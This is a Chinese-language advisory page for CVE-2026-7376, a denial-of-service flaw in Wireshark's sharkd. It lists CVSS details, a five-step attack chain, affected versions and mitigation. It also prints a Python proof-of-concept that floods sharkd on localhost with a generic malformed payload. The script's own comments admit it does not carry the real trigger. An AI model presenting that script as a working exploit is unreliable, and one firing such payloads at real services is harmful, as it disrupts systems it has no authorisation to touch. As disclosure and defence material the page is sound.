IPBUF安全漏洞报告
English
CVE-2026-7376 CVSS 5.5 中危

CVE-2026-7376 Wireshark sharkd拒绝服务漏洞

披露日期: 2026-04-30

漏洞信息

漏洞编号
CVE-2026-7376
漏洞类型
拒绝服务
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Wireshark

相关标签

拒绝服务DoSWiresharksharkd本地漏洞

漏洞概述

Wireshark的sharkd组件在4.6.0至4.6.4及4.4.0至4.4.14版本中存在拒绝服务漏洞。由于sharkd在处理特定数据时存在逻辑缺陷,导致程序发生崩溃。攻击者可利用此漏洞,诱导本地用户进行交互操作,触发应用程序异常终止,从而造成服务拒绝,影响网络分析任务的正常运行。

技术细节

该漏洞源于Wireshark的sharkd守护进程在解析特定网络数据包或处理用户指令时未能正确验证输入数据的合法性,导致内存访问越界或空指针引用。根据CVSS向量分析,该漏洞属于本地攻击向量(AV:L),需要用户交互(UI:R),这意味着攻击者必须诱使本地用户执行特定操作,例如打开特制的抓包文件或向sharkd接口发送恶意请求。一旦漏洞被成功触发,sharkd进程将立即崩溃,虽然未显示涉及权限提升或敏感信息泄露,但可用性受到严重影响(A:H),导致依赖该服务的网络监控和分析功能完全中断。

攻击链分析

STEP 1
侦察
攻击者确认目标系统运行了受影响版本的Wireshark (4.4.0-4.4.14 或 4.6.0-4.6.4),并启用了sharkd服务。
STEP 2
载荷构造
攻击者构造特制的网络抓包文件或交互指令,包含能够触发sharkd解析逻辑错误的特定字段。
STEP 3
诱导执行
由于需要用户交互(UI:R),攻击者通过社会工程学手段诱导本地用户打开恶意文件或执行相关操作。
STEP 4
漏洞触发
sharkd处理恶意数据时,未能正确处理异常情况,导致内存访问错误。
STEP 5
服务中断
sharkd进程崩溃,导致网络分析服务不可用,实现拒绝服务攻击。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import socket # PoC for CVE-2026-7376: Wireshark sharkd Denial of Service # This script demonstrates a potential trigger for the crash by sending malformed data to sharkd. # Note: Actual exploitation requires specific malformed packets based on the vulnerability details. def send_malicious_packet(host='127.0.0.1', port=44444): try: # Create a socket connection to the local sharkd service client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) client.connect((host, port)) # Construct a payload that simulates the triggering condition # This is a generic fuzzing payload; specific bytes depend on the dissection bug. payload = b"\x00\x00\x00\x01" + b"A" * 10000 print(f"[*] Sending payload to {host}:{port}...") client.send(payload) # Wait for response or timeout indicating crash client.settimeout(2) response = client.recv(1024) print(f"[+] Received response: {response}") except socket.timeout: print("[-] Connection timed out. Service may have crashed.") except ConnectionRefusedError: print("[-] Connection refused. Ensure sharkd is running.") except Exception as e: print(f"[!] An error occurred: {e}") finally: client.close() if __name__ == "__main__": send_malicious_packet()

影响范围

Wireshark 4.4.0 - 4.4.14
Wireshark 4.6.0 - 4.6.4

防御指南

临时缓解措施
建议用户尽快将Wireshark更新到官方发布的最新安全版本。如果暂时无法更新,应禁用sharkd守护进程以降低风险,并避免在关键系统上打开未知的网络数据包。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表